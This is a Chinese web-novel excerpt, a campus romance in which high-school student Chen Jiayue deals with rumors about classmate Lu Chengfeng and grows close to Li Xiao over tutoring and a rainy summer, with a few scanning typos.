陈家月看了眼卷子,压低声音:“当然不喜欢。"同桌何小恬说:“我也觉得,但是她们上体育课这么说的。”“谁这么说?"“就康雨乐她们,体育课之前在厕所,我就听她们这么说了,她跟她一组那四个。"”康雨乐向来和她不对付。陈家月抿抿唇,想说点什么,又觉得计较这个,很容易让人分不清谁是傻子。她换了句话:“瞎说的,别信。”何小恬懂了,其实她也觉得是瞎说,否则照她离月月那么近,怎么一次都没见她和陆承风私下里说什么?月月成绩好,好像从没见她喜欢过谁。这么想着,走廊传来声音:“陆承风!"窗户开了,七班数学课代表站走廊上。和煦的风瞬间吹进来,陈家月下意识压了压卷边。七班课代表大概是有事,但说了不能串班,他又不敢往里走。喊几声喊不到人 正愁,垂眼就看见陈家月坐窗边。他欣喜敲她桌子:“陈家月,帮我喊一下你们班陆承风。"陈家月抬了下头。春四月,暖风柔柔拂过她额前碎发。她拨开发丝,露出一双盈满水茶色的眼瞳:“嗯?七班课代表有片刻惊艳。她是真的美,明明只是十六岁,豆蔻梢头,还显得青涩的年纪,然而陈家月身上,却偏偏有一种和青涩融合得很好的纯然很剔透。如果非要形容,大约是水晶球那种漂亮的存在。少女嗓音柔软纤细。男生梗了下,莫名其妙耳根红了:“就是,叫,叫一下你们班,陆承风.” 陈家月微不可察顿了顿笔尖,最后站起身,还是应了:“好。" 最后排靠窗,趴着一个男生,在睡觉。窗外香樟树的枝伸进来。 男生屈肘微弯,脑袋埋进臂弯,另只手随意搭在桌沿,指尖微垂,腕骨清瘦突出。 他很高,即使蜷在角落,也能看出瘦高抽条的身形。 本来八班就流传她和对方的谣言。 陈家月挤过去,站定,顶着后排几道探究的目光,唇抿得死紧。 她开口,清软嗓:“陆承风。 没反应。 周围目光变得灼灼起来。 陈家月抿了抿唇,继续喊:“陆承风。 还是没反应。 眼见得她蹙眉,想来要生气。 陆承风同桌眼疾手快抡了他一巴掌:“叫你呢,你睡死了大爷?" 这一巴掌结结实实,男生身体一抖,终于醒了。 同桌生怕他骂人,赶紧指了指前面。 男生转开眼,眸光冷沉沉往前面扫,撞上对面女生轻柔的视线,半路又软下来。 从鼻腔赏出一句:“嗯?" 他眼睛凌厉,是深邃冷冽的烟灰,用上眼线看人时,与生俱来一股子傲慢与凉薄气息。 跟谁欠他二五八万似的。 陈家月言简意赅:“七班课代表找你。" 说完就走,就像懒得多看他。 陆承风也没应,朝窗户瞄一眼,懒散地起身出门。没两分钟就回来,眼里还带着疲倦。 估计昨晚真没睡好。 陆承风拎过外套,垫桌上,打算继续睡。 同桌其实挺想听八卦,凑过去问他:“咋,吵架啦?” 陆承风皱眉:“哪个?" “你跟陈家月啊。” “我跟陈家月?”陆承风一顿,像是才从脑海里把身影认出来,有点费解,“我俩有什么好吵的。 同桌瞪大眼睛: “啊,没吵架吗,我还以为你俩分手了。" "?" “没分手吗?" 陆承风睡不着了,头抬起来:“我跟她分手?" 停顿片刻。 望着同桌在那小鸡啄米似的点头。 他额角青筋狠狠一跳:“操。 陆承风忍了半天,实在没忍住:“我什么时候和她在一起过?" 八班体育课是和十七班一起上的。一中体育课管得不严,尤其是像八班这种强化班,卷子多学案多。八班数学学案一天能有五张,根本来不及写,因此他们上体育课夹着支笔,把卷子一,老师都睁只眼闭只眼。在操场跑两圈就散开,自由活动了。陈家月喘着气,抱着膝盖在操场边缘坐下来。她体力废,八百米向来不及格,跑两圈要了命了,通常要缓好久。何小恬已经开始写数学了,陈家月盯着地面,默默喘了会儿,最后把语文课本拿出来背,下节课要默写。周围也有十七班的女生,还有些是高二的,体育课撞了。议论声落进耳朵:“那个就是陆承风吗?"“哪个?"“就是和我们班李潇在一起的那个。”“他好帅啊,他真转到我们年级了吗?有个短发女生说:“是呗,他之前出国了吗不是,高二缺了,现在回来准备重新上高二。反正现在离分班考不久了,他干脆再读两个月高一。"陆承风家境殷实,进校时就名声大噪。成绩好,模样俊朗,不知道多少女生爱慕。原先他该高一届,他们这个年级看不到的,然而很巧,他缺了一年,现在正好转过来了。不敢相信上一级霸榜年级第一的头等帅哥,居然真变成自己同学了。“还是八班好,真羡慕,每天都能近距离看到。另外个女生叹气:“那也得考得进去啊,八班,神仙打架,我再读一年我都考不进去。“其实我们班也挺好的啊。”紧接着是几道窃窃的笑声,刚才讲话的女生羞怯道:“笑什么。她旁边女生撞了下她肩膀:“笑你咯,你喜欢李女生赶紧捂住她嘴:“不许说!"这几天天晴,操场的微风很温暖,陈家月眼神放空,背完一小段,又接着看了眼语文书。何小恬丢下笔凑过来:“月月,你听到她们说什么了?"陈家月在愣神,有些疑惑道:“什么?"何小恬指指前面,陈家月抬眸,清透的眼瞳望过去。离操场不远,是片树林,树荫那里,坐着两个男生一个是陆承风,另外一个身形清瘦。男生相貌偏硬朗,透着股不近人情的疏淡和冷。从她角度,只能望见他侧脸。下颌线条棱角分明,五官淡漠,眉宇却几分锋利。何小恬说:“果然帅哥都和帅哥一起玩,你平时上体育课头都不抬,估计不认识他是谁吧?"陈家月一时怔忪。原本她是不认识的。只不过… 身边何小恬还在说:"其实我觉得,他比陆承风帅点,诶,也不能这么说,气质不一样。我们班陆承风比较傲,一看就是那种贵公子,不过李满就有点冷淡,感觉和他说话,他不会搭理的。 不会搭理。 陈家月有些失神,想起之前在校外,看到他时的样子。 那天下着薄薄的雨,夜色空濛,他走在前面,她红着眼圈跟在后面。 他问她:“想去哪里吃饭? 声线温和,尽管透着几分疏离,可也不像是,不搭理人的样子。 少女抿了抿唇。 树荫下男生若有所感,视线淡淡睇过来. 和他撞上。 陈家月一愣,连忙垂下眼睛。 那天晚上吃过晚饭,何小恬要去文科楼找小姐妹,陈家月和她在半道分手,一个人慢吞吞晃回理科楼。 然而走上楼道的时候,眼前人影一闪,她睁了睁眼眸,被人逼到拐角:“陈家月,你今天去找陆承风表白的吗?"陈家月皱眉,看着眼前康雨乐。康雨乐身边还有两个小姐妹,往前一步,语气不耐:“说话啊。陈家月摇摇头:“我没有和他表白。我要回教室了,让我过去。康雨乐显然不信,和身边女生对视一眼:“真的吗?"陈家月抿唇。康雨乐身边女生却看过来:“你说谎了吧,今天明明看到你去找陆承风的,你就是跟他表白的吧。康雨乐眼神一下子冷了。陈家月心里烦躁,不想再纠结这件事,想从旁边穿过去。国是下阿7飞谁都知道,她性子温和,几乎不会发火,可这会也有脾气了:“放手。我要回教室了。康雨乐冷笑:“你说想走就能走?你喜欢陆承风,这件事还没完。陈家月疑惑,真的不懂她了:“你真奇怪,你自己喜欢陆承风,就自己去找他。可偏偏你喜欢陆承风,却要说我喜欢,我真的不太懂。康雨乐像是一瞬间被戳到,惊怒竖眉:“谁喜欢他了?"陈家月不愿再多言,想要挣开手。康雨乐死死咬牙:“你把话说清楚。” 楼梯阴暗,拐角处传来缓慢脚步声,陈家月没站稳,脚踝一扭就要往下栽。她刚退了一步,后脑撞到某个坚硬胸膛,肩膀就被稳稳扶住了。清冽沉稳的气息刹那包裹了她,很熟悉,带着点体温,极淡的暖。男生声音低低响在头顶:“在做什么?"听清楚声线,陈家月微愣。康雨乐也一下子呆了,连忙松开手。本来要是换个人,她就让不要管闲事了,可是这男生是,是.李潇。经常和陆承风走一起。康雨乐爱慕陆承风,肯定不能得罪他身边兄弟,她尬笑了一声:“这是我们班的,和她说点事情。李潇声音很冰冷:“什么事不能在班上说?" 那副眼神像是针刺。 康雨乐脸色涨红:“就是有点小事。" “什么小事。" 康雨乐说不上来,死死咬住唇。 男生耐心耗尽:“让开。” 陈家月觉得自己肩膀被轻轻推了一下,康雨乐紧抿唇,给两个人让开路。李潇独自往楼上走,陈家月也跟着他,很快走到四楼道。四楼不像下面那样热闹,很清静,陈家月回眸,抬眼就是他胸膛,她耳根烫了烫,低声说:“谢谢你。肩膀的力道松开,李说:“没事。”他垂下眼睫,视线淡淡落在她身上,然而停留片刻便移开。走到八班门口,托人喊出陆承风,后面就没再看她。 原来他是来找人的。 陈家月心神微怔,默默回了班,坐到位置上,翻出数学卷子写起来。何小恬已经回来了,看到陈家月很惊诧:“月月,你怎么才回来?”理科也没有那么远,不应该啊。陈家月犹豫了下,没说康雨乐的事。她笑了笑:“晚上吃得有点撑,在楼下多走了两圈散步。"何小恬很快转移注意:“是哦,我上高中感觉也胖了很多,卷子太多了,都没时间锻炼"陈家月弯唇善好卷子,继续写了两行,听见走廊外隐约压低的谈话声响。她鬼使神差,微微抬起头。男生背倚着栏杆,正听身边人讲话,表情很淡,高大身影像是堵墙。夜风很凉,吹过衣摆,勾勒出少年劲瘦的腰身。他目光似是夜色水里,虚无而安静地,落在她面上 119、02 缘分不停 陈家月晚上回到家,已经是九点多,她轻手轻脚关上门,家里黑漆漆没有亮光。母亲舒柔身体不好,这时候通常已经睡着了,陈家月不愿吵醒母亲,安静进了自己房间。她卧室朝南,并不算大,睡觉的地方讲究聚气,房间大了,她也心慌.陈家月把书包里整理好的卷子翻出来,继续写。她话不多,平时也没有太多娱乐,手机尽管在身边,却只当百科用。偶尔同学有事找她,她才会回消息。她物理写到第二面,手机响了两声。陈家月笔一顿,看清联系人姓名,划开了聊天框。李潇:【数学填空13题。】附上的图是月考卷。这次月考数学填空十三挺难的,比十四还难,讲究的解法很创新。陈家月在数字这块并不敏感,练习大于天赋, 碰上需要数学思维的题,容易卡壳。她这次十三倒是写出来了,只不过方法太复杂,不太可取。陈家月点开他发来的草稿图,男生字迹清晰,不算特别好看,然而笔锋很道劲。陈家月抓着笔,敲了两个字过去:【谢谢。】那边很快回复:【不用。有不懂的吗?】她比对着,细细理解了一遍,发现图片靠近边缘有点模糊。陈家月截图发他:【这边,最后两行有点看不明白。】大约等了两分钟,李潇重新写了份过来:【现在呢。】陈家月仍是蹙眉:【这个条件为什么得来啊?】他发了段语音,细细给她讲了,语调平静温和。陈家月:【哦哦,现在看懂啦,谢谢~】男生还是平和的语气:【嗯。】夜色安安静静,陈家月对着手机聊天框,愣了会儿神。她是不久前加上李漾的,那时候艺术节刚过,她表演少数民族的一个舞,引起不小风波,校外也有男生要过来看她.陈家月本不想那么张扬,每次都避而不见。然而那些人不是说不见就能放过她。有次她回家,在路上被拦下,强行拖到隔壁小区车库。本以为穷途未路,后来出现个男生,三两下把人揍跑了。那男生眉眼狠厉,指骨沾了血。陈家月吓得掉眼泪,说要出钱给他买药,又说要请他吃饭,后面哭哭啼啼,自己也不知道自己说什么。男生沉默了会,抽出张纸巾塞她手里:“也不疼,别哭了。"声线在雨夜显得温和。她没地方去,就和对方一起吃了顿饭,在快餐店乖乖写了作业。她问他叫什么,他说:“李。后来加了联系方式,陆承风转过来,她才知道,原来那两个人彼此熟悉。陈家月其实觉得有点尴尬。上学时候,大家都挺无聊的,就爱听谈恋爱的八卦,谁喜欢谁,谁暗恋谁。她是高一的年级第一,模样纯然婉约,是校花,陆承风却在高二也是级一。他们两个分到一个班,好多人都起哄,想知道他们会不会互相喜欢。陈家月是真的不喜欢。就是,没感觉。她和陆承风也不熟啊,莫名其妙被传谣。再加上本来和李潇说话,倒是没什么,可一想到那是陆承风朋友。就觉得真的好尴尬,她都不知道说点什么。陈家月拿起手机:【陆承风他】敲了几次都觉得别扭,又放下。她咬唇想,既然是陆承风朋友,那应该是知道,那些都是谣传的吧?可是万一觉得是她单方面怎么办呢?陈家月紧抿唇,越看界面越糟心。最后干脆把手机反扣回去,继续埋头写物理。然而她和陆承风的谣言愈演愈烈。周时间,差不多传遍了整个高一,只不过故事版本很有出入,有说是谈过,也有说她追陆承风,人家不同意.但不管故事怎么变,唯一不变的,是不管陆承风有没有意思,她都是喜欢的。“别看她那个清高样,真有钱大少爷一来,她还不是放下身段去追?还好学生呢。"“什么好学生呀,也就在我们年级威风威风,陆承风在高二真的牛逼得挺出名的,这次月考,她还不被吊打?“可是真的好多男的喜欢她。“男的懂什么,越是好的越不喜欢。”陈家月推开门,寡淡着一张小脸,去洗手池洗手。她手很小,软白,纤细美丽,指尖透着极淡的樱粉。那几个女生看她出来,表情都很精彩。只是见陈家月不搭理,胆子又大起来:“怕什么,她自己做的事。然而也有人担忧:“她怎么看上去没反应啊?”有时候沉默才是最可怕的,越是没本事,越是闹得最凶。陈家月正好洗完手,路过她,忽然淡道:“我要什么反应,反正康雨乐的话你们最信。“几个女生一下子哑口无言。陈家月那天中午有团委活动,结束的晚,,一个人吃的饭。等她到食堂,学生已经陆陆续续出去了。她要了份盒饭,就在一楼吃了。然而正吃得慢吞吞,一楼的防风帘忽然被掀开。陈家月抬起睫毛,就看见男生高大身影落到座位上,姿态随意懒散,下眼睑看人,眼睛还是透着股轻狂。陆承风语气不太好:“陈家月,我老实跟你说。他猛一落座,她吓了一跳。陈家月没懂他来找她干什么,抬眼,安安静静望着他。她瞳色很浅,眸光流转时,有种别样的美丽。正常男人看了早心软了,陆承风却完全不吃这一套,他义正言辞告诉她:“你放弃吧,我是不可能早恋的。陈家月:“?"她停筷子看着眼前少年,深深皱起眉。陆承风身体舒展,吊起眼梢:“换别人我就不搭理了,不过咱俩以后还要做同学,抬头不见低头见,我劝你趁早别喜欢我,以后我就当没这个事哈。 陈家月觉得他有病吧。 他就是有病吧! 她至今连他长什么样都没看清,谁喜欢他啊! "你…" 我什么,我不会喜欢你的陈家月。 她一口气没提上来,差点梗死在喉咙里。 女生粉嫩嫩的脸,肉眼可见变红,大眼睛含羞带怨,湿漉漉的。 陆承风还以为她是被说中,心想,点到即止行了,别欺负小女生。 说完,起身就要走了。 陈家月好想骂死他啊,可她一直很乖,从来不骂人的。最后忍了又忍,实在没忍住。她咬着唇:“神经"头顶落下很轻一片笑声。陈家月转过眼。这时候才发现,陆承风身边,还跟着一个男生,眉眼锋利,眼里却带几分笑意。他声音很沉,轻轻懒懒的。中午光线强烈,他视线若有似无望来,金色光晕,朦胧镀在他身上。陈家月一下子把话咽进去了。陆承风正为轻松摆脱件麻烦事高兴,没听清,脑袋转过去:“?笑什么。李扯了扯薄唇:“没有。"大概是觉得有意思,他多看了两眼,含笑移开视线。两个人很快就走了。陈家月低眸盯着还剩一半的盒饭。耳根滚烫。 周二体育课是要期中考试,说是考试,其实就是走个形式。五月了,蝉鸣开始聒噪,操场边的树荫愈发浓密。陈家月从一周前开始,就很惴惴不安。她体育真的不好,尤其是八百米,她每次都是倒数。别人跑完了,她还在吃力地挪动。久而久之,就在少女心中形成了恐惧。这回是十七班先测的,先是男生,再是女生。身边女生们在等候,围在一起唉声叹气。何小恬说:“真吓人,还不如先跑呢,跑完拉倒,现在要最后一批跑,我都没心思写作业了。陈家月也觉得是。不过她努力笑了笑,安慰同桌:“别怕,就几分钟,跑完就好了。"然而哨声响起,十七班女生渐渐躁动起来。八班女生本来聚集写卷子的,现在也很好奇张望:“她们嚷什么,不是还没到女生跑呢么?"“当然是看帅哥跑咯!"“谁啊?"“肯定李潇啊,他跑前面。康雨乐那个组,有个女生喜欢李潇。康雨乐笑嘻嘻推了她一把:“你去送水去。女生害羞打她:“别闹!“其实李潇在一中这届挺有名的,不止是这届,高年级也有学姐来看他。入校就是一张冷硬的脸,带点狠厉,是那种疏离的感觉。不过据他们班女生说:“李潇只是话少,寡言冷淡,并不凶。确实,稳重不张扬,蛮反差的,那年好多女生吃这一套。康雨乐挑眉:“不过可惜,成绩太差了,家境看着也没陆家好,你都八班了,追他就蛮跌份的。她身边女生撒了撇嘴,附和:“是咯,他太偏科了,数理化能排前三的,文科却那么不好。陈家月这时候才抬眸,看了她们一眼。那年一中除了八班顶尖,还有七班强化班,其余都是平均分班的。李成绩属于中等,其实并不差,能考进一中都不会差。只是这些人自带优越感,毕竟未来都是c9的料。女牛想想即便李潇是很帅,那又怎么样呢:“估计只能考个一般的985吧。“对啊,和你条件也不匹配,还是算了,反正大学也有更好的。"何小恬最烦那组人嘴脸,悄悄冷哼:“她还桃,人家未必看得上她,我可听说了,他跟陆承风是要忙竞赛呢,指不定一个奖保送了,哪像她们,成绩再好不还是要考?陈家月紧抿唇,她心里也莫名不舒服,只是不知道是为什么。想了想,可能是跟康雨乐本就结怨。索性撇开眼,不去看了。声音渐渐响得愈发鼓噪陈家月抬眼,十七班男生已经跑完了,嘻嘻哈哈推搡打闹。她看见李潇落在后面,他校服外套脱了,随意拎在手里,正低头,好像是在看试卷。少年身形很高,带着这个年龄男生特有的清瘦,像春雨后拔高的竹节。额发湿了,凌乱散在额前,领口也有微微的湿意,风勾勒他腰身。他不像其他男生那样聒噪,轻抿,仿佛呼吸都是轻的。他在树荫下坐下了。陈家月放空,盯着他看了一会儿,直到八班男生也跑完了都没回神。何小恬推推她:“你看,康雨乐去给陆承风送水了。"陈家月往那边看。陆承风没要,蹙着眉一言未发,摆摆手直接拒绝了。康雨乐心里很不甘,她送水之前还特地补了个妆,唇瓣红漂亮,可陆承风跟吃斋似的,看都不看一眼。下了跑道就去李潇身边坐着了。她小姐妹跟着去看李潇,也吃了闭门羹。何小恬觉得好笑:“让她们拜高踩低,原来是人家看不上啊。男生自始至终低着头,康雨乐小姐妹还在试图搭话。陈家月心里无端有点堵,她也想不明白怎么不高兴,就被何小恬拉去跑道了,那天烈日炎炎,是真的热,陈家月皮肤白,不经晒,觉得光圈得她眼晕。八百米跑下来,她撑着膝盖慢慢喘息。“月月,你还好吧?"陈家月虚弱摇头:“还有水吗?"“有的有的,喏。她接过,喝了两口:“谢谢。陈家月外套也脱了,蜷着身体抱在怀里,下巴轻轻搁在膝盖上。少女身形娇小单薄,穿着夏季校服短袖,露出来的胳膊很细很白,仿佛藕。她跑完步,脸颊泛着层不正常的红,碎发也被打湿。五月风里,女生眼瞳有一种惊心动魄的瑰丽。陈家月喘了好一会,何小恬小声说:“诶,陆承风是不是在看你。"陈家月抬眼,捕捉到陆承风匆匆收回的视线。他侧眸,和身边男生说了几句什么,眼睛还是若有似无往她这里警。陈家月一愣,瞬间好那个气。自从上次食堂口头警告,她现在最最最讨厌的就是陆承风了,怎么那么自大,谁喜欢他啊。他现在又在看什么,还要臆想她,造她哪门子谣?李潇倒是没表情,似是没把陆承风的话听进去。又或者听进去了,只是他天生淡漠,对旁人的事根本不上心。陈家月指尖发白,心里更堵了。偏偏这时候康雨乐碰了一鼻子灰,就想来触她霉头泄愤:“还看呢,再看人家也不会喜欢你。陈家月心里火“腾”地一下冒上来。她其实知道康雨乐说的是陆承风,然而眼前白光强烈,莫名就变成另一道身影。陈家月猛地站起身。康雨乐懵住了:“你干嘛?"平常陈家月脾气很好,和谁也不会乱发火,这么冷着一张小脸怒气冲冲,还是头回见。她不由得退了两步。哪知人家根本不是冲她。陈家月拎起外套就往树荫下走,大家都贪凉快,树荫下一堆人,男生女生都有。她站定,周围人都看向她。陈家月把喝剩的水狠狠砸在男生身上:“陆承风,我不会喜欢你的,麻烦你不要再造我谣了,你死了这条心吧!"?"陆承风都傻了,不敢置信瞪大眼:“不是,你.“你什么你,说了不喜欢你就是不喜欢你!听不懂啊!”她顿了顿,板着小脸补充,“神经陆承风张大嘴巴,难得一句话都说不出来。周围都惊呆了。哇靠,平时校花那么像个乖乖女,居然还会发火哦,怎么回事啊联系起最近谣言,不约而同眼珠子一转,心里暗暗八卦起来。陆承风气得磕巴。陈家月也红温了,半步不退盯着他。这时候,风吹过来,不知谁笑了两声,懒懒沉沉,意味不明。她心念微微一动,低眸。对上男生漆黑的瞳孔,满含温柔。 120、03 而我听见下雨的声音 那次事件之后,陈家月很久没和陆承风说话,她还生气呢,才不想理他。年级八卦也变了:“哇靠,原来是陆承风追陈家月没追到啊!"她的谣言是康雨乐造的,现在风向一换,康雨乐气得半死。啊啊啊她喜欢的人被误会喜欢陈家月那个小妖精了! 倒是李潇,他来找陆承风的次数变多了,有时候也会敲她的窗:“可以帮我喊人吗?" 眼里带着几分笑意,嗓音磁沉轻和。 陈家月不太习惯和男生讲话,和他也不算熟,面对李潇,总有几分无措。 “好。 可她当着那么多人的面,给他兄弟难堪,他应该觉得她,脾气很不好吧?然而没有。李潇晚上还是照常和她说话,给她说题目。他话不多,比起陆承风,更加温和寡言。陈家月最初还在惴惴不安,后来也渐渐放松下来。那年雨季来得很滂沱,高一期末考结束,陈家月在家待了几天,开始补课。陈如晦仍然不回家,舒柔的病情却愈发严重。她受不住家里嘈杂,将阿姨辞退,只有陈家月留在家照顾她。舒柔心疼女儿:“你会不会怪妈妈?"陈家月摇摇头,握着母亲苍白瘦弱的手:“妈妈快点好起来。舒柔紧抿唇,眼睛一瞬间湿了。 那时节满城暴雨,陈家月自己去上补习班,她语英都挺好的,就只补了数学和物理,在梦溪路的巷子那边。雨淅淅沥沥,她下课,撑着伞在雨里站了会儿。人潮熙熙攘攘,大多是有家长接送的。站台就在前方两三米,已经站满了人,陈家月默默往后面退了两步。身边有个声音响起:“李潇!"是他同班的女生:“哇,幸好你没走,能不能借我看一下倒数第三题,我拍个照。" 陈家月微愣,不确定地看去。靠近站台尾端,站着道熟悉的清瘦身影,深色短袖,回头,眼睛被雨水淋得很湿. 他颔首,将卷了翻出来递过去。 女生拿手机拍照片,笑着说:“谢谢你啊,下次请你喝水。" 男生微顿,低声道: “不用。”声音没起伏波澜。 女生穿着夏季短裙:“可是真的很谢谢你嘛,对面有家港式奶茶,想喝吗?" 非常直白不掩饰,李看着她。 那个女生咬了咬唇,坚持道:“开学就不知道在不在一个班了,过几天我们班还有个聚会,你去吗?" 她伸手,扯了扯他衣服下摆。 男生微不可察蹙眉,退了步将卷子善起收好:“不去。 是拒绝的意思。 女生讪讪和同伴离开了。 陈家月看了全程,被人拒绝还是挺尴尬的,看情况他也是来补课,都是补物理。不过好奇怪,她怎么感觉从没见过他。 “陈家月。”有个男声从背后喊她。 陈家月本就在愣神,听到声音吓了一跳,手上拿着的东西掉到雨地里,立刻脏了。 男生递过来支红笔:“你东西落教室了。" 那根笔是老师顺便借过去改题目的,估计忘拿了。 陈家月也没顾上捡地上的书,狼狈接过笔:“谢谢。 男生耳根微红,和她挥了挥手走了。 他垂眸看了眼:“有点脏了。 陈家月看清是李潇,莫名就有些局促,想要伸手接,又不敢,只能磕巴地小声道:“没关系的,我擦擦就好了。 他没吭声,低眸从口袋里摸出餐巾纸,对着沾温的地方按了按。片刻后,扔掉纸巾,把书还给她:“嗯。 “谢谢。" 雨幕潇潇,带着点凉意,公交车压着积水驶过来。陈家月指指车门:“你坐这辆吗?"他看了眼:“不是。” 那个公交站台,一共也没几辆车,人潮陆陆续续走完,座位空出来。陈家月搂着布袋,小心翼翼挨着边缘坐下。 李潇也落座,垂眸在她身边摁着手机。 她突然好尴尬,这种尴尬不仅是不熟,主要还有之前陆承风的事, 她到现在都没跟陆承风再说话呢。 陈家月顿时觉得坐立不安,她要坐六路,但是这趟班次比较少,迟迟不来, 雨一直下,她搂着自己的小布袋,有点不想待了。 但是就这么走了,是不是也有点不太礼貌? 诶,她好纠结。 然而从李潇的视角,就是这姑娘并拢双膝,抱着自己小袋子,安安分分的模样。 她可能并不知道,她不安的时候,眼瞳会像盛了水那样浮光漾漾,其实挺可爱。 他放下手机,笑了笑:“你害怕我啊?" 陈家月眼睛微睁,有种背地里说坏话被抓包的错觉,连忙摇了摇头:“没有呀。" “那怎么这么紧张。”他弯唇,几分好笑,“去你班里的时候,也没见你这么紧张。 那当然是因为那时候人多,她不觉得有什么。 陈家月纠结片刻,还是转身对着他:“我感觉我和陆承风闹掰了。” 听她说别人,他抿唇,望着她的眼瞳似乎几分黯淡:“嗯。 “那你,你" 她小手捏着布袋小角,真的很紧张,最后狠狠心眼睛一闭:“你不会觉得很吗。" 原来是因为这个。 李潇微愣,捏紧的掌心松开,眼里带上笑意:“尴尬什么。 她声如蚊呐:“就是,尴尬。” "不会。" 陈家月一怔:“为什么?" “他是他。"李顿了顿,“你是你。" 他站起身,对着少女略微错愕的神情。李潇掏出手机看了眼:“我打的车来了,要不要去吃饭?" 李潇是个很好相处的人,总之陈家月是这么觉得的。在学校接触得少,还看不出来,然而假期空余时间多,相处更多。她慢慢察觉,他尽管寡言,气却很温和物理课是单数日去上,陈家月自从知道他也上课,就总能碰见他。李潇到的早,坐最后一排,是自己一个人,陈家月也不是和小姐妹结伴来上课的,也是一个人。她物理这方面真的有些障碍,李却都能听懂。有时候她会特意来早点,问他问题。 李潇一点点细致和她讲,声线平和,透着点少年特有的清冷。 “那这里能明白吗? 李潇翻出教科书例题给她看:“和这道题差不多。”他说:“上周二,你们班发的学案,例五是和这道题题型类似的,你回去可以翻出来看一眼。"陈家月好奇:“咦,你怎么知道我们班学案写了什么?"他笑了一声:“借来看过。 教室里开了空调,窗户也开着,窗外风沉闷吹进来,估计要下雨。陈家月对着他草稿誊写,她安安静静,穿着件小衫,杏色的,衣襟袖口绣着几朵玉兰。教室慢慢来了人,她一无所觉。前座椅子被拉开来:“你今天又来这么早?"李弯唇:“嗯。 男生之前和他一个初中,但没考一中,没见过陈家月。看她乖乖坐李身旁,就笑了下:“女朋友? 李稍顿,低声道:“不是。 听见他们说话,陈家月笔一顿,随即又慢吞吞写起来。男生了然笑笑:“哦,不好意思,我还以为你谈对象了。“没有。“不会还是因为陈慧吧?我现在想想都觉得她确实有够夸张,考上高中了有找你吗?""没。”李嗓音顿了顿,“你们学校暑假提前补课了?"男生说有啊,忘记陈慧,开始聊下学期课的事了。 等陈家月把题目写完,教室里人来很多了。 她紧了紧布袋,刚想走。 物理老师端着茶杯走进来,把门关上:“后面把窗关一下,上课了。 教室声音很嘈杂,每排都是长桌子,陈家月不好意思出去了。统归补课的位置不固定,李低头:“你坐这里吧,没事。 她咬唇,点点头。 她听课还是很乖的,几乎不发出什么声音。补习课比在学校还是放松很多,在底下说小话的很多。 她从不会。 老师在讲台上说题型,她安安静静记。然而那年陈家月身形娇小,也不过一米六出头,坐后面一排,前面男生高个子一挡,真的看不见。 她也不说,默默努力坐直身子。 “看我这个。”卷子被递过来。 陈家月一愣,小声说:“谢谢。 窗户开了条缝,风裹着沉闷吹进来,她小脸很娇美。 李潇垂眼:“你下课之后准备去哪。 陈家月有些不解,她想说,当然是回家呀。 然而那段时间,陈如晦回家了。 陈如晦是传统意义上的严苛家长,甚至比一般父亲都严厉很多。他不养她,却要求她,她性格温和,也觉得这样很压抑。 她这段时间,下了课,都是先在外面走一圈,拖得不行了才回家的。 陈家月不愿骗他:“我,下课之后去咖啡店吃点东西。 “然后回家了?" 她摇摇头:“不回家,在那里写作业。 眼前男生神情变了变,他没问她怎么不回家,大概是明白她的为难。 李潇稍顿,弯了弯唇,温声说:“我跟你一起吃饭好吗,我有题不会想问你。” 他很少提要求,也从没开口让她帮忙什么,陈家月倒是 直在问他教理 ,她是个懂得礼尚在来的好姑娘, 其实心里很不安 结果李潇说,方不方便一起吃饭,有问题问她。 她当然可以:“好呀。 不知道为什么,陈家月愣了愣神,总觉得他在身边,身上有一种令人安定的气息,说不上来,不知道他用的是哪种洗衣液啊。还挺好闻。 她右手边坐着的男生是七班的,长得很壮,不修边幅,上课嘻哈哈很自大。 之前在走廊上遇到,她去打水,那男生手很欠拽过她发尾。 陈家月默默往李潇那儿移了些。 她悄悄抬眼,他好像并没发现,支着下颌,眼睛出神望向窗外。 漆黑的眼瞳映出天光,很淡,显出几分寡然。 陈家月莫名问:“你在做什么呢?" 窗外轰隆隆雷声响过,闪电一瞬间劈过天幕,狂风呼啸,很吓人 临近下课,教室里大家都没心思听了,转眼对着窗外叽叽喳喳叫。 声音很嘈杂,几乎听不清讲话,李潇俯身,凑到她耳边,用那种只有他们两个能听到的声音:“听到了吗。 那张漂亮的小脸浮出不安:“什、什么?" 他弯唇,眼里带着几分自己都没察觉的温柔笑意。 雨点噼里啪啦砸下来,天幕渐暗。 李潇望着她,说: “下雨的声音。 121、04 想起你用唇语说爱情 八月中旬的时候, 陈家月和陈如晦吵了一架。 她鼓起勇气,想求陈如晦留下来,不要再去临海。她很想他,更重要的是,舒柔也很想他。陈家月说:“爸爸,我不想有那么多钱了,你可不可以留下来陪陪我们。陈如晦皱眉:“你年纪小,能懂什么。她年纪小吗,可是为什么她偏偏最要懂事,她最该享受家庭温情的时候,却连自己的父亲在哪都不知道。陈家忽然流泪:“我是不道,我不懂你为什么总是不出现,我不懂你为什么不回家,妈妈很想你 我也很想你,可是你呢,你有想过我们吗?妇妈生病成这样,你有想过她在家会害怕吗?你不相养我,当初为什么要生我,你不相培妈妈,那当初又为什么要和她结婚呢!" 陈如晦气急攻心,转手打了她一耳光:“回房间去! 声音脆响,夜晚微光静谧透进来,陈家月微微偏过头,抿了抿唇,没再看陈如晦一眼,沉默回房间关上了门。 她趴在书桌哭了很久,眼泪噼里啪啦往下掉。可她哭泣没有声息,除了泪珠滴落,鼻尖抽泣,几乎听不见嚎啕的声音。 手机响了两声,她拿起来看。 李潇:【我后面一周课不去上。】 那时候她和李潇算很熟了,她整个暑假,都在和他在外面吃饭。 她喜欢汤汤水水,喜欢吃面,喝粥。李不是润州人,却似乎比她更了解润州,总是带她去好吃的餐馆吃饭。 她前两天换睡衣,想起来就上了个秤,发现居然胖了三斤。 虽然很羞耻,可她就是有一种,是李潇在养她的错觉。 陈家月愣愣地止住哭泣:【为什么呀?】李潇:【回老家一段时间。】 那就是回老家过暑假?陈家在京城,陈家月不喜欢回去,通常都是回外公家多些。然而舒家就在隔壁,车程一小时,高铁三十分钟,她基本上上午去,下午就能回家可是李潇家,离得很远吧,他每年回去一次,大概也不容易呢。陈家月其实心里不乐意他走,可还是乖乖说:【嗯嗯,好。】她又要一个人吃饭了,陈家月抱着膝盖,下巴轻轻搁在膝弯。李潇也想到这层:【之后就一个人吃饭了,要紧吗?】那要不要紧他不还是要走了,她莫名不高兴,没回,不想理他。 然而或许是她隔太久都没回,他察觉到她心里的不开心。李潇又发来一条:【嗯?】李潇:【怎么不说话了。】 陈如晦马上也要回临海了,李潇也不在了,她兜兜转转,这个夏天还是一个人。 